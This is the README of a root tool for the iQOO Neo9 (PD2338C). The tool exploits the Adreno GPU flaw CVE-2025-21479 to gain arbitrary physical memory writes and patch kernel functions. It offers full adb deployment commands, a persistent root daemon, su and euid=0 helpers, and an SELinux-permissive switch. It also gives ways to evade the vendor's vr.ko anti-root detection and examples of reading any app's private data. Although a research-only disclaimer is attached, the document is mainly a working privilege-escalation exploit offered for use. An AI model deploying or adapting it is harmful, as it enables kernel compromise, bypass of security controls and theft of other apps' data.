
iQOO Neo9 (PD2338C) Caps-Root-Tool ohne Unlock** — ein auf CVE-2025-21479 (Adreno GPU SDS) basierendes Verfahren zur Rechteausweitung durch beliebige physische Schreibzugriffe
iQOO Neo9 (PD2338C) Caps-Root-Werkzeug ohne Unlock — Rechteausweitung per Arbitrary Physical Write auf Basis von CVE-2025-21479 (Adreno GPU SDS)
Kein Bootloader-Unlock, kein Flashen und kein Magisk nötig. Über die GPU-Schwachstelle wird beliebiges physisches Schreiben auf Kernel-Ebene erlangt; nach dem Patchen kritischer Kernel-Funktionen läuft ein dauerhafter Root-Daemon mit vollen Capabilities (41-bit caps), der rootc / su die Root-Fähigkeit bereitstellt.
Kernmerkmal: Die euid bleibt bei 2000, um die vivo-vr.ko-Anti-Root-Erkennung zu umgehen (euid=0 würde einen Geräteneustart auslösen). Die Root-Fähigkeit ist äquivalent zu uid=0, die Prozessidentität bleibt dabei sicher.
CapEff: 000001ffffffffff (41 volle Capabilities), keine Tarnung auf Anwendungsebenevr.ko-Erkennung wirkungslos, keine Geräteabstürzesu-Wrapper, direkt von MT Manager / Termux aufrufbar⚠️ Der Exploit hängt von der konkreten Layout-Zusammensetzung dieses Kernels ab (Symbol-Offsets,
VIVO_VMET_BREAK_KMI-Merkmal,vr.ko-Verhalten). Für andere Geräte/Kernel ist eine Neuadaption erforderlich.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
Das Skript übernimmt automatisch: die drei Komponenten pushen → Neustart für das kalte Fenster → Exploit mehrfach ausführen (Trefferquote ~50 % pro Runde) → Daemon bereit → Verifizieren.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Termux-Konfiguration: Beim ersten Einsatz auszuführen (Root-Rechte):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager: Einstellungen → ROOT → Benutzerdefinierter su-Pfad → /data/local/tmp/su
Die rootc/su-Umgebung behält bewusst euid=2000 bei (Schutz vor vr.ko-Anti-Root-Erkennung). Doch die Treiber einiger weniger Kernel-Schnittstellen (z. B. /proc/vrp, einige sysfs-Knoten) prüfen current_euid()==0 — das schaffen auch volle Caps nicht → in diesem Fall lässt sich mit u0 über CAP_SETUID der rootd-Umgebung auf echtes Root anheben:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) löst kein vr.ko-fatal aus (der rootd-Hauptprozess selbst läuft dauerhaft mit uid=0; Prozesse mit uid=0 stehen nicht auf der Kill-Liste)/proc/vrp gibt selbst bei uid=0 + vollen Caps weiterhin EPERM zurück (der vrp-Treiber führt eine aktive Berechtigungsprüfung durch, kein DAC/SELinux — Reverse Engineering läuft); insmod löst bei uid=0 ebenfalls einen Geräteneustart aus (die Modullade-Erkennung sieht nicht auf die uid des Aufrufers)docs\u0_说明.md/data/local/tmp ist standardmäßig drwxrwxrwt (1777, Besitzer: shell) — auf DAC-Ebene kann jeder Benutzer lesen/schreiben. Was normale Benutzer (untrusted_app-Domäne) wirklich blockiert, ist SELinux (die Policy verweigert der App-Domäne den Zugriff auf das shell_data_file-Label):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file ist nur für die Shell-Domäne zugänglich); nach erneutem Deploy wiederhergestelltsu -c "cat /data/local/tmp/xxx > /sdcard/xxx" umleiten (Apps können uneingeschränkt auf /sdcard zugreifen)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)
Warum euid=2000? Der vivo-Kernel enthält ein eingebautes Anti-Root-Modul vr.ko: Erkennt es einen Prozess außerhalb der vrp-Domäne mit cred->euid==0, wird fatal ausgelöst (Geräteneustart). Die MODE=10-Privilege-Escalation ändert die euid bewusst nicht, sondern schreibt nur fsuid/fsgid + Caps — vr.ko kann nicht ausgelöst werden, aber alle Kernel-capable()-Prüfungen bestehen (echte Root-Fähigkeit).
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ ├── su # su 兼容包装器 (MT/Termux)
│ ├── u0.c / u0 # euid=0 提升工具 (真 root 操作, 见"u0"章节)
│ └── shim.c / shim.so # LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1 mehrfach wiederholencat /proc/uptime prüfen (uptime steigt weiter und Bildschirm normal = Gerät nicht abgestürzt)id zeigt uid=2000: siehe Prinzip-Kapitel, beabsichtigtes Verhalten; Fähigkeiten äquivalent zu rootmount / durch fstab eingeschränkt; /system schreibgeschützt (erofs + dm-verity), keine persistenten Änderungen möglich/data/local/tmp-Berechtigungen: für Termux/normale Benutzer ist chmod 1777 nötig (siehe Abschnitt „Zugriff normaler Benutzer“); SELinux muss permissive bleiben (wird beim Exploit-Deploy gesetzt), kein setenforce 0 verwenden (vr.ko-Erkennung)F: Ist das echtes Root? A: Ja. Alle Kernel-capable()-Prüfungen (CapEff vollständig aktiv, chown 0:0, /proc/iomem lesen, beliebige App-Daten lesen) bestehen — der Kernel erkennt dich als root-fähig an, nur die uid-Zahl ist 2000.
F: Kann das Gerät gebrickt werden? A: Nein. Es gibt keinerlei Partitionszugriffe oder persistente Änderungen; im schlimmsten Fall friert die GPU ein und ein Neustart stellt alles wieder her.
F: Werden andere Modelle unterstützt? A: Eine Neuadaption ist erforderlich (Kernel-Layout, Symbol-Offsets und vr.ko-Verhalten sind PD2338C-spezifisch; wenn es sich um ein vivo iQOO Neo9 mit OriginOS 5 („Orange 5“) handelt, kann ein Versuch unternommen werden).
Dieses Projekt ist ausschließlich für Sicherheitsforschung und die Nutzung auf eigenen Geräten bestimmt. Für sämtliche Folgen der Nutzung dieses Tools (einschließlich, aber nicht beschränkt auf Geräteschäden, Datenverlust, Erlöschen der Garantie) übernimmt der Anwender selbst die Verantwortung. Bitte halte dich an die örtlichen Gesetze und Vorschriften und verwende es nicht für illegale Zwecke.
| Aspekt | Wert |
|---|
| Gerät | iQOO Neo9 (PD2338C) |
| System | Android 15 |
| Kernel | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| Speicherlayout | Kein physisches KASLR (stext_pa=0xa8010000), VA insgesamt geslidet |